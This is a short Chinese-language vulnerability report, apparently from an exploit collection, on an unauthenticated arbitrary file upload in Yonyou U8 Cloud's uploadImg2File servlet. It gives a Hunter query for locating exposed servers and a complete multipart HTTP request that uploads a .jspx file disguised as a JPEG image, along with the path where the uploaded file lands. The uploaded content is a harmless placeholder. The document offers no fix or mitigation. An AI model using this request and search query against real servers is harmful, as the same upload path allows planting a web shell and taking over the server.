用友U8 Cloud uploadImg2File 任意文件上传漏洞
一、漏洞描述
用友U8 cloud前台任意文件上传导致远程命令执行漏洞。未经授权攻击者通过漏洞上传任意文件，最终可以获取服务器权限。
二、影响版本
- 用友U8 Cloud
三、资产测绘
- hunter
app.name="用友 U8 Cloud"
- 登录页面
四、漏洞复现
POST /hrss/servlet/uploadImg2File HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 651
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6veAfRuWsMCxTodB
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=882076295B79AA8C024D8F4FC5DDFF97.server; JSESSIONID=C717FE1B698660C55A9897A4D6A41177.server
Connection: close
------WebKitFormBoundary6veAfRuWsMCxTodB
Content-Disposition: form-data; name="x"
../
------WebKitFormBoundary6veAfRuWsMCxTodB
Content-Disposition: form-data; name="y"
../
------WebKitFormBoundary6veAfRuWsMCxTodB
Content-Disposition: form-data; name="w"
../
------WebKitFormBoundary6veAfRuWsMCxTodB
Content-Disposition: form-data; name="h"
../
------WebKitFormBoundary6veAfRuWsMCxTodB
Content-Disposition: form-data; name="txtFileName"; filename="stc.jspx"
Content-Type: image/jpeg
123
------WebKitFormBoundary6veAfRuWsMCxTodB--
上传文件位置
/hrss/uploads/202311091242211699461741771.jspx